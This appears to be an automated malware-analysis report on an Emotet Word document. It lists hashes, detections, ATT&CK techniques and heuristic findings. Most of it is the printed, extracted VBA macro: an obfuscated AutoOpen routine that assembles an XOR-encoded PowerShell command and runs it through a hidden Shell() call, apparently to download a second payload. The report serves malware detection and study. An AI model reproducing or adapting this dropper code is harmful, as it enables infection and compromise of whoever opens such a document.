Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 db1f1b34a164407e…

MALICIOUS

Office (OLE)

95.2 KB Created: 2018-06-20 12:47:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: 92599fdb3b8d4466b565287309def3fb SHA-1: c51ace7f7d175bc775351dd18e84449b3d8ed0e5 SHA-256: db1f1b34a164407ef0498b8d8935030b2cf816ed1572d3165b7ee82cb7c373b5
210 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6878566-0'. Heuristics indicate the presence of VBA macros, including an AutoOpen macro and a Shell() call, which are used to execute code. The VBA script attempts to construct and execute a PowerShell command, likely to download and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6878566-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6878566-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    vftDf = 1116
    OojVYLCkM = irBMoSMmd + Shell(KWwaprOMpC + ksulu + wTqsuBMOrAA, 90716 - 90716)
    QoCIRG = 98618
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub AutoOpen()
    On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11371 bytes
SHA-256: d020c39749df8551c764172190b0923bfeae4e4b9186f5fe5b6f093d7c4cc66e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "OkjLKPmSnznt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "mAMYwODSErvVfz"
Function tTHQTAbJQ()
On Error Resume Next
jdBDd = CDate(88208)
EQUWp = 3455
JwFHW = CDate(YWpOOU + Sin(84148 + 43109) * 78550 * CInt(91676))
vhMwI = CByte(BATZz)
aItOp = 97933
aozKB = auMnnu
jvjapGTWD = "OwerSHell  . (" + "(VaRI" + "ABLe '*mDr*').N" + "aMe[" + "3,11,2]-Jo" + "in'')" + " ( ( '13"
MKwkcQ = CDate(19227)
ubHFm = 30746
zUjnGz = CDate(iOLqBU + Sin(80167 + 9989) * 82005 * CInt(86471))
FHwuh = CByte(dpuHHL)
ZpKkzL = 71395
vbbZP = qJNfLA
zdqILja = "U110a9" + "3U68D74}126}74E" + "9N20!9D71}" + "76}94E4D70c75k"
wwkFSO = CDate(76967)
SIVjwm = 73798
aMkSal = CDate(PjQtSQ + Sin(61587 + 96893) * 81261 * CInt(50377))
KLWEI = CByte(PViWaF)
bfsKj = 92935
IHYsl = jRKium
GcTddEKDLz = "67D7" + "6}74E93k9U91N72" + "U71k7" + "7E" + "70U68D18" + "N13D100a" + "99a7" + "4D93k6"
FUwXaK = CDate(91345)
GcmUwq = 83807
zDnWCd = CDate(uiztj + Sin(87669 + 62706) * 801 * CInt(14211))
QwufOF = CByte(XhbFlJ)
GiGwGh = 75087
McwCWh = XiYmC
VLcJfBL = "5c9F20U9N7" + "1F76E94F4N70E" + "75F67a" + "76U74N" + "93a9k122" + "D80c" + "90!93U" + "76a68"
Efswq = CDate(32943)
vBRbd = 16463
YiJPlJ = CDate(sPZZI + Sin(95544 + 94988) * 99053 * CInt(35952))
hZTpuN = CByte(ztdWnw)
DDFnzH = 85073
otupa = UEtfw
wUWlB = "k7a10" + "3N76D93c7c126" + "N76a75F10" + "6a69N64k76" + "!71k93D18F13" + "D67F64" + "}89D99" + "D112F9F2" + "0D9!14}65N9"
NpLriZ = CDate(36489)
RZjlL = 60067
YIhUo = CDate(Infpk + Sin(70291 + 91730) * 33523 * CInt(43526))
zfAaE = CByte(fHzXH)
KZJDJE = 59463
tFuNP = TEVKdU
qpzoD = "3E93F" + "89a19N6" + "D6D69E75a4U" + "79E69a70U"
dwiinZ = CDate(26008)
QSOsm = 46481
Awkmh = CDate(MUzIYQ + Sin(21125 + 33520) * 97239 * CInt(14448))
mXCvS = CByte(wYfFDf)
wjlwEr = 54724
BbTAEf = AAUhG
PMzuKnMO = "70}91D7a74" + "U70c68D6k10" + "8k124" + "F104U104"
mjGiNj = CDate(85329)
FGrBE = 49951
BSfap = CDate(QPivW + Sin(66815 + 52435) * 72955 * CInt(44104))
fOdLzX = CByte(lwtPwT)
JlLlE = 64824
ijViU = dpEoX
auidwscXI = "D9" + "0F113F16F92E1" + "00E6N105a65U9" + "3U93" + "c89D" + "19!6F6a78}94!7"
jopVBB = CDate(21754)
qEjVK = 45119
bEUiB = CDate(LdIBw + Sin(17632 + 72944) * 18699 * CInt(19377))
LTZkCA = CByte(wwiKN)
LjZhX = 41363
UmXvI = Nrqof
wIuqwR = "1F66!95" + "c71k81" + "D94" + "F7F74F7"
tTHQTAbJQ = jvjapGTWD + zdqILja + GcTddEKDLz + VLcJfBL + wUWlB + qpzoD + PMzuKnMO + auidwscXI + wIuqwR
End Function
Function IVwCmwqTp()
On Error Resume Next
dnNupm = CDate(8473)
IjjGjF = 71798
cwOav = CDate(Nlwzo + Sin(41562 + 71175) * 59911 * CInt(73788))
cMEzXi = CByte(BOiPCR)
OFGBaw = 37941
IrQCRr = VRXbTn
FVdILMB = "0E68E6k108" + "E65c30F12" + "6!92D102c90F12" + "4!28D6c1"
YiuzQ = CDate(77672)
sjQiFK = 54442
livjD = CDate(IAPnK + Sin(53145 + 14564) * 41030 * CInt(32381))
GwAYmz = CByte(BDkEt)
jPndhS = 26148
SPuLKi = wAsoL
DWwDBlQwQ = "05" + "N65!93" + "E93a89}19U6F6U9" + "4k94D" + "94k7N68U" + "76k69E70" + "k71c72a74N91a76" + "D72" + "k93U64}70}71c" + "90c7c74!70}"
awfLW = CDate(93430)
GoKEt = 6372
XGtzB = CDate(oawtT + Sin(41631 + 76394) * 93399 * CInt(75279))
adlnH = CByte(chWdz)
UVapW = 72671
XGBEb = ztBIH
NdssiGZmNB = "7N83D72a6a79D" + "122U69" + "}78N9" + "5a" + "108}31N17" + "!6c105U65N93N" + "93F89F19a6E6U94" + "!94N" + "94}" + "7k90k76c77D72U"
HAwtD = CDate(75324)
YfMUEo = 59360
KjPck = CDate(issWZl + Sin(91035 + 72133) * 21418 * CInt(81098))
inDHJG = CByte(XIEVss)
Jjfkc = 36032
wANifF = ALGBfj
cfmik = "93}72}69" + "E89c77" + "c70U71}7" + "6}9" + "1U" + "7U74N70a68c6F12" + "0k1" + "27!12" + "1D112F27c93" + "a6a105U65D93k9"
ZbcMIf = CDate(554)
SHCvBN = 9087
jRGBO = CDate(bDDPX + Sin(74202 + 87728) * 27697 * CInt(71107))
wVwKC = CByte(DZlidj)
YJfQi = 92746
VjwVF = qaICAz
msjpvoiZM = "3F89U19}6U6}" + "94F94F94}7k68E" + "76a92N74U70!7" + "1F93k91k70D6" + "9D76c79" + "c64k71F"
IVwCmwqTp = FVdILMB + DWwDBlQwQ + NdssiGZmNB + cfmik + msjpvoiZM
End Function
Function LdRIzQThvW()
On Error Resume Next
tLZiWk = CDate(16462)
zzwFmD = 80554
qsAjO = CDate(tatkt + Sin(53670 + 38903) * 27830 * CInt(39486))
tiKqY = CByte(bjizIb)
InVbVh = 27337
HIbfTR = FdKOb
uAZGiRfj = "72U71!74k" + "76c64D9" + "1a70" + "N7a79a64c95D" + "76c90c77c" + "76!95U76D69c70"
vCEwRi = CDate(92982)
oiScdT = 24498
wWhLif = CDate(zwwKjl + Sin(81029 + 58355) * 97435 * CInt(68798))
PzLfr = CByte(WNJdAZ)
JJdiI = 70849
Malncl = wOHFiR
kLCjRrNB = "c89a68E76D71N93" + "k7F7" + "4U70U6" + "8a6E78k104!12"
fRqtTi = CDate(61532)
BKBzhW = 70404
GXBUQX = CDate(BXcwv + Sin(70215 + 86333) * 16545 * CInt(67158))
FYFOj = CByte(VzItw)
ZOKjq = 86734
PlMTfJ = hljniU
lTfVLDUO = "7c25N90U110" + "U97F71E" + "6}14k7}122N89" + "k69}6" + "4U93c1N"
rUSClu = CDate(70892)
uCQOt = 65254
taLPRc = CDate(zDdlj + Sin(78049 + 87833) * 59303 * CInt(53282))
nIHuDt = CByte(YbOSn)
IKTcjz = 2215
nHqcYT = zURqB
IvuObvuMfb = "14c105!1" + "4D0k18}1" + "3c" + "95a91a69N98N125" + "}9D20D9N13D" + "110F93D68}74E" + "126U74a7a71F76" + "c81}" + "93D1D24E5" + "}9U30E3"
wKLwd = CDate(68052)
FbuBz = 83487
PaAwjv = CDate(qZCzj + Sin(47357 + 80163) * 59311 * CInt(39449))
Hpzpqc = CByte(muGVGH)
imRRZY = 70086
KzvQW = XboMq
EQzdfa = "1N29k17c25E" + "17!0k18c" + "13F68D106a103U1" + "15c96}126a9c20" + "a9c13D76c71k95E"
tTcVs = CDate(67631)
WSzoN = 3506
iTbFi = CDate(wPXHzR + Sin(94234 + 37316) * 1913 * CInt(6050))
EVXic = CByte(pLofn)
zsKjw = 93700
EFkYR = nPNizv
VPFaIGbLn = "19!93U76E" + "68k89}9!" + "2N9E14a117!" + "14F" + "9!2c9" + "}13D95D91c"
pVwAUC = CDate(71034)
dhPSH = 88260
UIFzal = CDate(wFWwq + Sin(97639 + 2526) * 42664 * CInt(60814))
OqzsQa = CByte(mzlRZ)
QoHiBS = 6761
fuFjw = wcoaT
CHpDPSGzHzZ = "69N98U125c9N2E9" + "U14}7!7" + "6a81a7" + "6E14!18!7" + "9F70c91"
FJWmK = CDate(92458)
GARajJ = 96517
cojYrH = CDate(lLpFDs + Sin(8895 + 76730) * 57075 * CInt(89619))
Sipoz = CByte(voIfA)
ttpoCn = 87334
mUuhtG = HXckXD
vFriSvz = "k76k7" + "2!74a65E1N13" + "U77D" + "94E10" + "3}89D126U79a" + "9a64N71k" + "9F13!67" + "E64!89E9" + "9D112U"
LBnmaz = CDate(86212)
MdiOiE = 71315
NukAFI = CDate(wuCKz + Sin(11933 + 20813) * 9088 * CInt(91430))
RfbmY = CByte(tuvclk)
LikwDc = 14755
GiGWi = YOzAd
JBnokTnzW = "0E82a93D" + "91N80}82U13U1" + "00!99D74a93k" + "65k7a109N70" + "D94k71a69" + "!70a72D77E1" + "11F6"
LdRIzQThvW = uAZGiRfj + kLCjRrNB + lTfVLDUO + IvuObvuMfb + EQzdfa + VPFaIGbLn + CHpDPSGzHzZ + vFriSvz + JBnokTnzW
End Function
Function CIIaQIN()
On Error Resume Next
mIImz = CDate(64086)
KKqzTA = 88425
jkcGT = CDate(inLdZ + Sin(57330 + 62185) * 97515 * CInt(56986))
kdAwsV = CByte(TlQio)
lSTdzB = 49923
zjErI = cNVwf
SJqKVUFuPz = "4E69!76!1k" + "13a77k9" + "4U103D89c126U" + "79U7E125" + "U7" + "0}122a" + "93F91F6"
OkWYf = CDate(57289)
KCHVP = 89979
nbJjE = CDate(SFCQBc + Sin(6698 + 39876) * 42766 * CInt(32515))
rEHNJ = CByte(JGvpRU)
Btdnqj = 15554
SpVBjC = jZsnIG
tOiSNn = "4U71!7" + "8c1c" + "0D5a9a13!68k" + "106E103c115" + "F96U126F0U18E12" + "2k93N72D91F93" + "k4k121!9" + "1k7"
lfwwBq = CDate(49722)
cwOUn = 72629
zGWNKK = CDate(zjYpuI + Sin(10302 + 90036) * 78847 * CInt(47172))
RmsThG = CByte(IzDZfz)
IfWDDi = 77945
UuHRq = icuqG
zPmzQRK = "0a74a76c90U" + "90E9F13k" + "68}106" + "a103F115}" + "96}1"
hQIrZv = CDate(83686)
wWjNb = 32228
nSJrDL = CDate(lFvpYc + Sin(11155 + 26946) * 12052 * CInt(96894))
CXjkHX = CByte(VfohPH)
UwfIBW = 2091
icjfFW = mPOzKz
BoqrwdOzhDH = "26" + "k18U75" + "}91D76E72N6" + "6F18}" + "84" + "}74}72U9" + "3c74N65D82" + "N94a91k6"
Rwalv = CDate(94810)
HnpqI = 1720
ZFWAih = CDate(BwpwS + Sin(92102 + 15642) * 61434 * CInt(76904))
GbCCtp = CByte(OwHMn)
hjtjm = 50261
zQHsj = cBoQCl
zjCduhqN = "4E93F76c4N6" + "5U70F90k93!" + "9E13D118U7!108a" + "81k74}76!8" + "9F93F64k70" + "U71}7E1"
ftwqRM = CDate(30307)
OvbYCQ = 71739
iIdFzf = CDate(KZFjhR + Sin(37689 + 33612) * 14775 * CInt(94840))
Ktrsl = CByte(Noipr)
CXLaL = 35558
RcrTJ = wSVLDh
bXYDnk = "00D76U9" + "0!90D72!78F76}1" + "8N84k84'." + "SP" + "liT('U"
JXGsKS = CDate(72039)
qYjQM = 99256
uPrMfK = CDate(nEjro + Sin(87673 + 19721) * 67782 * CInt(24668))
Lcqtt = CByte(mzOzdG)
GZDOZI = 19078
ATIbJC = iLzCzW
jVDWhpznc = "NE}k!caFD' )|fo" + "REach-" + "OBJECt { [cHA" + "R]" + "( $_ -BxoR'0x29" + "')})-JOIn ''" + ")"
CIIaQIN = SJqKVUFuPz + tOiSNn + zPmzQRK + BoqrwdOzhDH + zjCduhqN + bXYDnk + jVDWhpznc
End Function

Function TaantbdfvFh()
On Error Resume Next
vXjUct = 73144
szWVjb = XsZrdA
IUpOW = CDate(HrKpv + Sin(42854 + 86488) * 27673 * CInt(20724))
VuPln = CDate(30053)
cFRjw = CByte(QDzma)
zhNcd = 63415
quOojF = 26526
TAmJR = rwEWV
OJQkdH = CDate(CIjAW + Sin(58986 + 42085) * 55453 * CInt(86253))
RVwadr = CDate(4618)
QhpKz = CByte(oQukh)
nKpCVn = 13194
EjrUm = 15262
HacuOA = nnqQsQ
VKTIi = CDate(cwmJS + Sin(44427 + 17602) * 10687 * CInt(13890))
qYoYlj = CDate(7663)
kKzvs = CByte(ZKqPi)
Gninr = 49742
oNWbcY = 63914
MquiYj = OLSWR
oWNhtS = CDate(FSlcR + Sin(79837 + 53063) * 5862 * CInt(61530))
VrFjji = CDate(5764)
LnkRDR = CByte(EJGVL)
vtiSWR = 43609
JwwwqV = 87369
cEWVGb = QbwHKP
ElJrD = CDate(wjiLcU + Sin(40837 + 47852) * 65933 * CInt(84894))
zqobpi = CDate(76147)
quoZIT = CByte(IwQpsT)
KGTpCQ = 34297
End Function
Function IbrMzkPj()
On Error Resume Next
wLMii = 29858
XRjoR = tlrpDW
jfcQL = CDate(KIYzP + Sin(34188 + 29835) * 45675 * CInt(98906))
spZSjR = CDate(26943)
MbIvsN = CByte(RBwJia)
PwzkKr = 55259
VEnanfVFqw = kpukj + Chr(YTYDuZ + 80 + svPrMjJri)
bCVGt = 50323
dijdUj = Lawqd
wRjFj = CDate(uvPKi + Sin(47064 + 31727) * 63901 * CInt(41861))
mqZWEo = CDate(40369)
PILVp = CByte(vOlZk)
jQRYR = 25363
bGoSPz = 99169
ILnuJj = wsGbGm
QAzUXH = CDate(tNNUk + Sin(72500 + 40276) * 26981 * CInt(41539))
iijRu = CDate(67193)
qLcEVq = CByte(WIroPF)
FQjaLd = 70991
IbrMzkPj = iAETX + VEnanfVFqw + tTHQTAbJQ + IVwCmwqTp + LdRIzQThvW + CIIaQIN
jVcudT = 59423
oWVjTr = OSjap
uCsAK = CDate(RSPCJT + Sin(47734 + 12492) * 20712 * CInt(87956))
AvnaPP = CDate(37682)
AQMuJ = CByte(vzGUWV)
NELOF = 27896
End Function
Function jkhnC(ksulu)
On Error Resume Next
twHdh = 82931
pqvkm = NqiDk
oFHKAw = CDate(wpOrz + Sin(55207 + 49818) * 90243 * CInt(23341))
klsrr = CDate(55055)
MCGtk = CByte(ibtwYa)
GPmEv = 56064
uvtoU = 69637
SuiZNk = kaNAb
iwFuhw = CDate(RPwBbA + Sin(98663 + 62644) * 12629 * CInt(33129))
uuUVs = CDate(78751)
iGYwlp = CByte(hCBjK)
vftDf = 1116
OojVYLCkM = irBMoSMmd + Shell(KWwaprOMpC + ksulu + wTqsuBMOrAA, 90716 - 90716)
QoCIRG = 98618
LYhVlm = tfHTSb
wGvAF = CDate(QisaHH + Sin(72015 + 36132) * 50398 * CInt(45632))
zVaRn = CDate(48866)
KDNoD = CByte(auHJlV)
djsJDH = 24303
End Function
Sub AutoOpen()
On Error Resume Next
PYvBhB = 58565
lNpHw = GFHkbj
WQmdI = CDate(ZjEsP + Sin(91851 + 6752) * 93298 * CInt(38618))
wLQiia = CDate(86034)
DWwaFP = CByte(lKUBGa)
wXDquA = 65772
Application.Run KHCQQjwTO + "jkhnC" + KWrsIfjwp, JkhYKUuRzXm + IbrMzkPj + KqlTmbzfsi
bGiLbP = 17029
sVCHSF = LYGGiA
EJwlN = CDate(HHvWS + Sin(95589 + 27260) * 55755 * CInt(15484))
VYhpwF = CDate(39673)
icArPw = CByte(llLoJ)
dKofZ = 36680
End Sub